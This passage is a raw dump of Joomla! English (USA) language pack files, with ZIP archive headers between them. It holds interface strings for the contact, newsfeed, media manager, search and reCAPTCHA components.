sort field" COM_CONTACT_FIELD_SORTNAME1_LABEL="First Sort Field" COM_CONTACT_FIELD_SORTNAME2_DESC="The part of the name to use as the second sort field" COM_CONTACT_FIELD_SORTNAME2_LABEL="Second Sort Field" COM_CONTACT_FIELD_SORTNAME3_DESC="The part of the name to use as the third sort field" COM_CONTACT_FIELD_SORTNAME3_LABEL="Third Sort Field" COM_CONTACT_FIELD_VALUE_ICONS="Icons" COM_CONTACT_FIELD_VALUE_NAME="Name" COM_CONTACT_FIELD_VALUE_NO_LINK="Show Without Link" COM_CONTACT_FIELD_VALUE_NONE="None" COM_CONTACT_FIELD_VALUE_ORDERING="Ordering" COM_CONTACT_FIELD_VALUE_PLAIN="Plain" COM_CONTACT_FIELD_VALUE_SLIDERS="Sliders" COM_CONTACT_FIELD_VALUE_SORT_NAME="Sort Name" COM_CONTACT_FIELD_VALUE_TABS="Tabs" COM_CONTACT_FIELD_VALUE_TEXT="Text" COM_CONTACT_FIELD_VALUE_WITH_LINK="Show With Link" COM_CONTACT_FIELDSET_CONTACT_FORM="Contact form" COM_CONTACT_FIELDSET_CONTACT_LABEL="Contact Display Options" COM_CONTACT_FIELDSET_CONTACTFORM_LABEL="Mail Options" COM_CONTACT_FIELDSET_OPTIONS="Display Options" COM_CONTACT_FILTER_DESC="Choose the type of filter to display per default." COM_CONTACT_FILTER_LABEL="Filter field" COM_CONTACT_FILTER_SEARCH_DESC="Enter text to show matching contacts" COM_CONTACT_ICONS_SETTINGS="Icons" COM_CONTACT_ID_LABEL="ID" COM_CONTACT_MAIL_FIELDSET_LABEL="Mail Options" COM_CONTACT_MANAGER_CONTACT="Contact Manager: Contact" COM_CONTACT_MANAGER_CONTACTS="Contact Manager: Contacts" COM_CONTACT_N_ITEMS_ARCHIVED="%d contacts successfully archived" COM_CONTACT_N_ITEMS_ARCHIVED_1="%d contact successfully archived" COM_CONTACT_N_ITEMS_CHECKED_IN_0="No contact successfully checked in" COM_CONTACT_N_ITEMS_CHECKED_IN_1="%d contact successfully checked in" COM_CONTACT_N_ITEMS_CHECKED_IN_MORE="%d contacts successfully checked in" COM_CONTACT_N_ITEMS_DELETED="%d contacts successfully deleted" COM_CONTACT_N_ITEMS_DELETED_1="%d contact successfully deleted" COM_CONTACT_N_ITEMS_PUBLISHED="%d contacts successfully published" COM_CONTACT_N_ITEMS_PUBLISHED_1="%d contact successfully published" COM_CONTACT_N_ITEMS_TRASHED="%d contacts successfully trashed" COM_CONTACT_N_ITEMS_TRASHED_1="%d contact successfully trashed" COM_CONTACT_N_ITEMS_UNPUBLISHED="%d contacts successfully unpublished" COM_CONTACT_N_ITEMS_UNPUBLISHED_1="%d contact successfully unpublished" COM_CONTACT_NAME_DESC="Contact Name" COM_CONTACT_NEW_CONTACT="New Contact" COM_CONTACT_NO_ITEM_SELECTED="No contacts selected" COM_CONTACT_OPTIONS="Options" COM_CONTACT_SAVE_SUCCESS="Contact successfully saved" COM_CONTACT_SEARCH_IN_NAME="Search contacts by name" COM_CONTACT_SELECT_A_CONTACT="Select a Contact" COM_CONTACT_SELECT_CONTACT_DESC="Press the button to show and select a contact from the list" COM_CONTACT_SELECT_CONTACT_LABEL="Select Contact" COM_CONTACT_SELECT_USER="Select User" COM_CONTACT_SHOW_EMAIL_ADDRESS_DESC="Show Email Address" COM_CONTACT_SHOW_EMAIL_ADDRESS_LABEL="Email Address" COM_CONTACT_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no Contacts or subcategories." COM_CONTACT_SUBMENU_CATEGORIES="Categories" COM_CONTACT_SUBMENU_CONTACTS="Contacts" COM_CONTACT_TOGGLE_TO_FEATURE="Toggle to change contact state to 'Featured'" COM_CONTACT_TOGGLE_TO_UNFEATURE="Toggle to change contact state to 'Unfeatured'" COM_CONTACT_UNFEATURED="Unfeatured contact" COM_CONTACT_WARNING_CATEGORY="This category is invalid" COM_CONTACT_WARNING_PROVIDE_VALID_NAME="Please provide a valid name" COM_CONTACT_WARNING_PROVIDE_VALID_URL="Please provide a valid URL" COM_CONTACT_WARNING_SAME_NAME="The name of this contact is already used. Please enter another name" COM_CONTACT_WARNING_SELECT_CONTACT_TOPUBLISH="Please select a contact to publish" COM_CONTACT_XML_DESCRIPTION="This component shows a listing of contact information" JGLOBAL_NEWITEMSLAST_DESC="New Contacts default to the last position. Ordering can be changed after this Contact is saved." JLIB_HTML_BATCH_USER_LABEL="Set Linked User" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\ CClanguage/en-US/en-US.xmlnuW+A English (USA) 2.5.7.2 2012-09-24 Aussiesrus - Australia admin@aussiesrus.com.au www.aussiesrus.com.au Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt en-US administrator language English (USA) en-US 0 en_US.utf8, en_US.UTF-8, en_US, eng_US, en, english, english-us, us, usa, american, america, american, us, america, america 0 PK@y>\FDrr,language/en-US/en-US.mod_multilangstatus.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MULTILANGSTATUS="Multilanguage Status" MOD_MULTILANGSTATUS_XML_DESCRIPTION="This module shows the status of the multilanguage parameters."PK@y>\&6language/en-US/en-US.plg_quickicon_extensionupdate.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_EXTENSIONUPDATE="Quick Icon - Joomla! Extensions Updates Notification" PLG_QUICKICON_EXTENSIONUPDATE_CHECKING="Checking extensions
            update status" PLG_QUICKICON_EXTENSIONUPDATE_ERROR="Unknown extensions
            update status" PLG_QUICKICON_EXTENSIONUPDATE_GROUP_DESC="The group of this plugin (this value is compared with the group value used in Quick Icons modules to inject icons)" PLG_QUICKICON_EXTENSIONUPDATE_GROUP_LABEL="Group" PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND="Updates are available!
            %s" PLG_QUICKICON_EXTENSIONUPDATE_UPTODATE="All extensions are up-to-date" PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION="Checks for updates of your installed third-party extensions and notifies you when you visit the Control Panel page" PK@y>\M`44'language/en-US/en-US.com_cpanel.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CPANEL="Control Panel" COM_CPANEL_XML_DESCRIPTION="Control panel component" PK@y>\OqX]+language/en-US/en-US.plg_search_content.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTENT="Search - Content" PLG_SEARCH_CONTENT_FIELD_ARCHIVED_DESC="Search Archived Articles?" PLG_SEARCH_CONTENT_FIELD_ARCHIVED_LABEL="Archived Articles" PLG_SEARCH_CONTENT_FIELD_CONTENT_DESC="Enables searching of all Articles" PLG_SEARCH_CONTENT_FIELD_CONTENT_LABEL="Articles" PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_DESC="Number of search items to return" PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_LABEL="Search Limit" PLG_SEARCH_CONTENT_XML_DESCRIPTION="Enables searching in Articles"PK@y>\gz'language/en-US/en-US.com_search.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_SEARCH="Search" COM_SEARCH_SEARCH_VIEW_DEFAULT_DESC="Display search results." COM_SEARCH_SEARCH_VIEW_DEFAULT_OPTION="Default" COM_SEARCH_SEARCH_VIEW_DEFAULT_TITLE="Search Form or Search Results" COM_SEARCH_XML_DESCRIPTION="Component for search functions" PK@y>\w+88&language/en-US/en-US.com_menus.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MENUS="Menus Manager" COM_MENUS_XML_DESCRIPTION="Component for creating menus" PK@y>\f/language/en-US/en-US.plg_finder_content.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTENT="Smart Search - Content" PLG_FINDER_CONTENT_ERROR_ACTIVATING_PLUGIN="Could not automatically activate the "_QQ_"Smart Search - Content"_QQ_" plugin" PLG_FINDER_CONTENT_XML_DESCRIPTION="This plugin indexes Joomla! Articles." PK@y>\K+++language/en-US/en-US.plg_content_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_JOOMLA="Content - Joomla" PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_DESC="Check that categories are fully empty before they are deleted." PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_LABEL="Check category deletion" PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_DESC="Email users where 'Send email' is on when there is a new article submitted via the frontend site." PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_LABEL="Email on new site article" PLG_CONTENT_JOOMLA_XML_DESCRIPTION="Does category processing for core extensions; sends an email when new article is submitted in the frontend."PK@y>\Y00-language/en-US/en-US.plg_user_profile.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_USER_PROFILE="User - Profile" PLG_USER_PROFILE_XML_DESCRIPTION="User Profile Plug-in" PK@y>\%B!language/en-US/en-US.localise.phpnuW+A\\p&language/en-US/en-US.com_newsfeeds.ininuW+A; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Joomla! Project ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_NEWSFEEDS="Newsfeeds" COM_NEWSFEEDS_BATCH_MENU_LABEL="Select Category for Move/Copy" COM_NEWSFEEDS_BATCH_OPTIONS="Batch process the selected newsfeeds" COM_NEWSFEEDS_BATCH_TIP="If choosing to copy a newsfeed, any other actions selected will be applied to the copied newsfeed. Otherwise, all actions are applied to the selected newsfeed." COM_NEWSFEEDS_CACHE_TIME_HEADING="Cache Time" COM_NEWSFEEDS_CATEGORIES_DESC="These settings apply for Newsfeeds Categories Options unless they are changed for a specific menu item." COM_NEWSFEEDS_CHANGE_FEED_BUTTON="Select feed" COM_NEWSFEEDS_CONFIGURATION="News Feed Manager Options" COM_NEWSFEEDS_EDIT_NEWSFEED="Edit News Feed" COM_NEWSFEEDS_ERROR_UNIQUE_ALIAS="Another Newsfeed from this category has the same alias" COM_NEWSFEEDS_FEED_CATEGORY_OPTIONS_LABEL="Feeds category display options" COM_NEWSFEEDS_FIELD_CACHETIME_DESC="The number of minutes before the news feed cache is refreshed." COM_NEWSFEEDS_FIELD_CACHETIME_LABEL="Cache Time" COM_NEWSFEEDS_FIELD_CATEGORIES_OPTIONS_LABEL="Feeds categories display options" COM_NEWSFEEDS_FIELD_CATEGORY_DESC="The category that this feed is assigned to" COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC="Number of characters to display per feed." COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL="Characters count" COM_NEWSFEEDS_FIELD_CHARACTERS_COUNT_DESC="Number of characters to include in the feed" COM_NEWSFEEDS_FIELD_CHARACTERS_COUNT_LABEL="Characters Count" COM_NEWSFEEDS_FIELD_CONFIG_CATEGORY_SETTINGS_DESC="These settings apply for Newsfeeds Category Options unless they are changed for a specific menu item." COM_NEWSFEEDS_FIELD_CONFIG_LIST_SETTINGS_DESC="These settings apply for List Layout Options unless they are changed for a specific menu item." COM_NEWSFEEDS_FIELD_CONFIG_NEWSFEED_SETTINGS_DESC="These settings apply for single news feeds unless they are changed for a specific menu item or news feed" COM_NEWSFEEDS_FIELD_CONFIG_NEWSFEED_SETTINGS_LABEL="News Feed" COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_DESC="The order used to display the feed" COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL="Feed display order" COM_NEWSFEEDS_FIELD_FEED_OPTIONS_DESC="Feeds display options" COM_NEWSFEEDS_FIELD_FEED_OPTIONS_LABEL="Feeds display options" COM_NEWSFEEDS_FIELD_LANGUAGE_DESC="Assign a language to this news feed" COM_NEWSFEEDS_FIELD_LINK_DESC="Link to the news feed" COM_NEWSFEEDS_FIELD_LINK_LABEL="Link" COM_NEWSFEEDS_FIELD_MODIFIED_DESC="The date and time the news feed was last modified" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_DESC="Show or Hide the Number of Articles in each Feed ( You can set this value in each Newsfeed )" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_LABEL="# Articles" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_DESC="Number of articles from the feed to display" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_LABEL="Number of Articles" COM_NEWSFEEDS_FIELD_NUMBER_ITEMS_LIST_DESC="Default number of feeds to list on a page." COM_NEWSFEEDS_FIELD_NUMBER_ITEMS_LIST_LABEL="# Feeds to List" COM_NEWSFEEDS_FIELD_NUMFEEDS_DESC="Number of feeds to display" COM_NEWSFEEDS_FIELD_NUMFEEDS_LABEL="Number of feeds" COM_NEWSFEEDS_FIELD_OPTIONS="Feed Options" COM_NEWSFEEDS_FIELD_RTL_DESC="Select the language direction of the feed" COM_NEWSFEEDS_FIELD_RTL_LABEL="Language Direction" COM_NEWSFEEDS_FIELD_SELECT_CATEGORY_DESC="Choose a feed category to display" COM_NEWSFEEDS_FIELD_SELECT_FEED_DESC="Select a feed to display" COM_NEWSFEEDS_FIELD_SELECT_FEED_LABEL="Feed" COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_DESC="Show or Hide the number of Newsfeeds in category" COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL="# Feeds in Category" COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_DESC="Show or Hide feed description" COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL="Feed Description" COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_DESC="Show or Hide feed images" COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL="Feed Image" COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_DESC="Show or Hide Feed Content" COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL="Feed Content" COM_NEWSFEEDS_FIELD_SHOW_LINKS_DESC="Show or Hide feed links URL" COM_NEWSFEEDS_FIELD_SHOW_LINKS_LABEL="Feed Links" COM_NEWSFEEDS_FIELD_VALUE_LTR="Left to Right Direction" COM_NEWSFEEDS_FIELD_VALUE_RTL="Right to Left Direction" COM_NEWSFEEDS_FIELD_VALUE_SITE="Site Language Direction" COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL="Feed Display Options" COM_NEWSFEEDS_FILTER_SEARCH_DESC="Enter here a news feed title to search." COM_NEWSFEEDS_MANAGER_NEWSFEED="News Feed Manager: News Feed" COM_NEWSFEEDS_MANAGER_NEWSFEEDS="News Feed Manager" COM_NEWSFEEDS_N_ITEMS_ARCHIVED="%d news feeds successfully archived" COM_NEWSFEEDS_N_ITEMS_ARCHIVED_1="News feed successfully archived" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_0="No news feed successfully checked-in" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_1="News feed successfully checked-in" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_MORE="%d news feeds successfully checked-in" COM_NEWSFEEDS_N_ITEMS_DELETED="%d news feeds successfully deleted" COM_NEWSFEEDS_N_ITEMS_DELETED_1="News feed successfully deleted" COM_NEWSFEEDS_N_ITEMS_PUBLISHED="%d news feeds successfully published" COM_NEWSFEEDS_N_ITEMS_PUBLISHED_1="News feed successfully published" COM_NEWSFEEDS_N_ITEMS_TRASHED="%d news feeds successfully trashed" COM_NEWSFEEDS_N_ITEMS_TRASHED_1="News feed successfully trashed" COM_NEWSFEEDS_N_ITEMS_UNPUBLISHED="%d news feeds successfully unpublished" COM_NEWSFEEDS_N_ITEMS_UNPUBLISHED_1="News feed successfully unpublished" COM_NEWSFEEDS_NEW_NEWSFEED="New" COM_NEWSFEEDS_NO_ITEM_SELECTED="No news feeds selected" COM_NEWSFEEDS_NUM_ARTICLES_HEADING="# Articles" COM_NEWSFEEDS_PUBLISH_ITEM="Publish News Feed" COM_NEWSFEEDS_SAVE_SUCCESS="News feed successfully saved" COM_NEWSFEEDS_SEARCH_IN_TITLE="Search" COM_NEWSFEEDS_SELECT_A_FEED="Select feed" COM_NEWSFEEDS_SELECT_FEED="Select feed" COM_NEWSFEEDS_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no Newsfeeds or subcategories." COM_NEWSFEEDS_SUBMENU_CATEGORIES="Categories" COM_NEWSFEEDS_SUBMENU_NEWSFEEDS="News Feeds" COM_NEWSFEEDS_UNPUBLISH_ITEM="Unpublish News Feed" COM_NEWSFEEDS_WARNING_PROVIDE_VALID_NAME="Please provide a valid name" COM_NEWSFEEDS_XML_DESCRIPTION="This component manages RSS and Atom news feeds." JGLOBAL_NEWITEMSLAST_DESC="New news feeds default to the last position. The ordering can be changed after this news feed has been saved." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings."PK@y>\:RR"language/en-US/en-US.com_media.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MEDIA="Media Manager" COM_MEDIA_ALIGN="Align" COM_MEDIA_ALIGN_DESC="If 'Not Set', the alignment is defined by the class '.img_caption.none'. Usually to get the image centred on the page." COM_MEDIA_BROWSE_FILES="Browse files" COM_MEDIA_CAPTION="Caption" COM_MEDIA_CAPTION_DESC="If set to 'Yes', the Image Title will be used as caption." COM_MEDIA_CLEAR_LIST="Clear List" COM_MEDIA_CONFIGURATION="Media Manager Options" COM_MEDIA_CREATE_COMPLETE="Create Complete: %s" COM_MEDIA_CREATE_FOLDER="Create Folder" COM_MEDIA_CURRENT_PROGRESS="Current progress" COM_MEDIA_DELETE_COMPLETE="Delete Complete: %s" COM_MEDIA_DESCFTPTITLE="FTP Login Details" COM_MEDIA_DESCFTP="To upload, change and delete media files, Joomla! will most likely need your FTP account details. Please enter them in the form fields below." COM_MEDIA_DETAIL_VIEW="Detail View" COM_MEDIA_DIRECTORY="Directory" COM_MEDIA_DIRECTORY_UP="Directory Up" COM_MEDIA_ERROR_BAD_REQUEST="Bad Request" COM_MEDIA_ERROR_BEFORE_DELETE_0="Some error occurs before deleting the media" COM_MEDIA_ERROR_BEFORE_DELETE_1="An error occurs before deleting the media: %s" COM_MEDIA_ERROR_BEFORE_DELETE_MORE="Some errors occur before deleting the media: %s" COM_MEDIA_ERROR_BEFORE_SAVE_0="Some error occurs before saving the media" COM_MEDIA_ERROR_BEFORE_SAVE_1="An error occurs before saving the media: %s" COM_MEDIA_ERROR_BEFORE_SAVE_MORE="Some errors occur before saving the media: %s" COM_MEDIA_ERROR_CREATE_NOT_PERMITTED="Create not permitted" COM_MEDIA_ERROR_FILE_EXISTS="File already exists" COM_MEDIA_ERROR_UNABLE_TO_CREATE_FOLDER_WARNDIRNAME="Unable to create directory. Directory name must only contain alphanumeric characters and no spaces." COM_MEDIA_ERROR_UNABLE_TO_DELETE_FILE_WARNFILENAME="Unable to delete: %s. File name must only contain alphanumeric characters and no spaces." COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_NOT_EMPTY="Unable to delete: %s. Folder is not empty!" COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_WARNDIRNAME="Unable to delete: %s. Directory name must only contain alphanumeric characters and no spaces." COM_MEDIA_ERROR_UNABLE_TO_DELETE=" Unable to delete: " COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE="Unable to upload file." COM_MEDIA_ERROR_UPLOAD_INPUT="Please input a file for upload" COM_MEDIA_ERROR_WARNFILENAME="File name must only contain alphanumeric characters and no spaces." COM_MEDIA_ERROR_WARNFILETOOLARGE="This file is too large to upload." COM_MEDIA_ERROR_WARNFILETYPE="This file type is not supported." COM_MEDIA_ERROR_WARNIEXSS="Possible IE XSS Attack found." COM_MEDIA_ERROR_WARNINVALID_IMG="Not a valid image." COM_MEDIA_ERROR_WARNINVALID_MIME="Illegal or invalid mime type detected." COM_MEDIA_ERROR_WARNNOTADMIN="Uploaded file is not an image file and you are not a manager or higher." COM_MEDIA_ERROR_WARNNOTEMPTY="Not empty!" COM_MEDIA_FIELD_CHECK_MIME_DESC="Use MIME Magic or Fileinfo to attempt to verify files. Try disabling this if you get invalid mime type errors" COM_MEDIA_FIELD_CHECK_MIME_LABEL="Check MIME Types" COM_MEDIA_FIELD_ENABLE_FLASH_UPLOADER_DESC="Flash uploader lets upload multiple files at the same time. It may not work on your settings" COM_MEDIA_FIELD_ENABLE_FLASH_UPLOADER_LABEL="Enable flash uploader" COM_MEDIA_FIELD_IGNORED_EXTENSIONS_DESC="Ignored file extensions for MIME type checking and restricted uploads" COM_MEDIA_FIELD_IGNORED_EXTENSIONS_LABEL="Ignored Extensions" COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_DESC="A comma separated list of illegal MIME types for upload (blacklist)" COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_LABEL="Illegal MIME Types" COM_MEDIA_FIELD_LEGAL_EXTENSIONS_DESC=" Extensions (file types) you are allowed to upload (comma separated)." COM_MEDIA_FIELD_LEGAL_EXTENSIONS_LABEL="Legal Extensions (File Types)" COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_DESC=" Image Extensions (file types) you are allowed to upload (comma separated). These are used to check for valid image headers." COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_LABEL="Legal Image Extensions (File Types)" COM_MEDIA_FIELD_LEGAL_MIME_TYPES_DESC="A comma separated list of legal MIME types for upload" COM_MEDIA_FIELD_LEGAL_MIME_TYPES_LABEL="Legal MIME Types" COM_MEDIA_FIELD_MAXIMUM_SIZE_DESC="The maximum size for an upload (in megabytes). Use zero for no limit. Note: your server has a maximum limit." COM_MEDIA_FIELD_MAXIMUM_SIZE_LABEL="Maximum Size (in MB)" COM_MEDIA_FIELD_PATH_FILE_FOLDER_DESC="Enter the path to the files folder relative to root. Warning! Changing to another path than the default 'images' may break your links." COM_MEDIA_FIELD_PATH_FILE_FOLDER_LABEL="Path to files folder" COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_DESC="Enter the path to the images folder relative to root. This path has to be the same as path to files (default) or to a subfolder of the path to file folder." COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_LABEL="Path to images folder" COM_MEDIA_FIELD_RESTRICT_UPLOADS_DESC="Restrict uploads for lower than manager users to just images if Fileinfo or MIME Magic isn't installed." COM_MEDIA_FIELD_RESTRICT_UPLOADS_LABEL="Restrict Uploads" COM_MEDIA_FILES="Files" COM_MEDIA_FILESIZE_BYTES="%s bytes" COM_MEDIA_FILESIZE="File size" COM_MEDIA_FILESIZE_KILOBYTES="%s KB" COM_MEDIA_FILESIZE_MEGABYTES="%s MB" COM_MEDIA_FOLDER="Folder" COM_MEDIA_FOLDERS="Media Folders" COM_MEDIA_FOLDERS_PATH_LABEL="Changing the default 'path to files folder' to another folder than default 'images' may break your links.
            The 'path to images' folder has to be the same or to a subfolder of 'path to files'." COM_MEDIA_IMAGE_DESCRIPTION="Image Description" COM_MEDIA_IMAGE_TITLE="%1$s - %2$s" COM_MEDIA_IMAGE_DIMENSIONS="%1$s x %2$s" COM_MEDIA_IMAGE_URL="Image URL" COM_MEDIA_INSERT_IMAGE="Insert Image" COM_MEDIA_INSERT="Insert" COM_MEDIA_INVALID_REQUEST="Invalid Request" COM_MEDIA_MEDIA="Media" COM_MEDIA_NAME="Image Name" COM_MEDIA_NO_IMAGES_FOUND="No Images Found" COM_MEDIA_NOT_SET="Not Set" COM_MEDIA_OVERALL_PROGRESS="Overall Progress" COM_MEDIA_PIXEL_DIMENSIONS="Pixel Dimensions (W x H)" COM_MEDIA_START_UPLOAD="Start Upload" COM_MEDIA_THUMBNAIL_VIEW="Thumbnail View" COM_MEDIA_TITLE="Image Title" COM_MEDIA_UPLOAD_COMPLETE="Upload Complete: %s" COM_MEDIA_UPLOAD_FILES_NOLIMIT="Upload files (No maximum size)" COM_MEDIA_UPLOAD_FILES="Upload files (Maximum Size: %s MB)" COM_MEDIA_UPLOAD_FILE="Upload file" COM_MEDIA_UPLOAD_SUCCESSFUL="Upload Successful" COM_MEDIA_UPLOAD="Upload" COM_MEDIA_UP="Up" COM_MEDIA_XML_DESCRIPTION="Component for managing site media" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\6aEP44.language/en-US/en-US.plg_captcha_recaptcha.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CAPTCHA_RECAPTCHA_XML_DESCRIPTION="This CAPTCHA plugin uses the reCAPTCHA service to prevent spammers while it helps to digitize books, newspapers and old radio shows. To get a public and private key for your domain, go to http://www.google.com/recaptcha. To use this for new account registration, go to Options in the User Manager and select Captcha - reCaptcha as the Captcha." PLG_CAPTCHA_RECAPTCHA="Captcha - ReCaptcha" ; Params PLG_RECAPTCHA_PUBLIC_KEY_LABEL="Public Key" PLG_RECAPTCHA_PUBLIC_KEY_DESC="Used in the JavaScript code that is served to your users. See the plugin description for instructions on getting a public key." PLG_RECAPTCHA_PRIVATE_KEY_LABEL="Private Key" PLG_RECAPTCHA_PRIVATE_KEY_DESC="Used in the communication between your server and the ReCaptha server. Be sure to keep it a secret. See the plugin description for instructions on getting a private key." PLG_RECAPTCHA_THEME_LABEL="Theme" PLG_RECAPTCHA_THEME_DESC="Defines which theme to use for reCAPTCHA." PLG_RECAPTCHA_THEME_RED="Red" PLG_RECAPTCHA_THEME_WHITE="White" PLG_RECAPTCHA_THEME_BLACKGLASS="BlackGlass" PLG_RECAPTCHA_THEME_CLEAN="Clean" PLG_RECAPTCHA_LANG_LABEL="Language" PLG_RECAPTCHA_LANG_DESC="Select the language for the reCAPTCHA. If default is set and the language file has a custom translation, it will be used." ; Error messages PLG_RECAPTCHA_ERROR_NO_PRIVATE_KEY="ReCaptcha plugin needs a private key to be set in its parameters. Please contact a site administrator." PLG_RECAPTCHA_ERROR_NO_PUBLIC_KEY="ReCaptcha plugin needs a public key to be set in its parameters. Please contact a site administrator." PLG_RECAPTCHA_ERROR_EMPTY_SOLUTION="Empty solution not allowed." PLG_RECAPTCHA_ERROR_NO_IP="For security reasons, you must pass the remote ip address to reCAPTCHA" PLG_RECAPTCHA_ERROR_UNKNOWN="Unknown error." PLG_RECAPTCHA_ERROR_INVALID_SITE_PUBLIC_KEY="We weren't able to verify the public key." PLG_RECAPTCHA_ERROR_INVALID_SITE_PRIVATE_KEY="We weren't able to verify the private key." PLG_RECAPTCHA_ERROR_INVALID_REQUEST_COOKIE="The challenge parameter of the verify script was incorrect." PLG_RECAPTCHA_ERROR_INCORRECT_CAPTCHA_SOL="The CAPTCHA solution was incorrect." PLG_RECAPTCHA_ERROR_VERIFY_PARAMS_INCORRECT="The parameters to verify were incorrect, make sure you are passing all the required parameters." PLG_RECAPTCHA_ERROR_INVALID_REFERRER="reCAPTCHA API keys are tied to a specific domain name for security reasons." PLG_RECAPTCHA_ERROR_RECAPTCHA_NOT_REACHABLE="Unable to contact the reCAPTCHA verify server." ; Uncomment(remove the ";" from the beginning of the line) the following lines if reCAPTCHA is not available in your language ; When 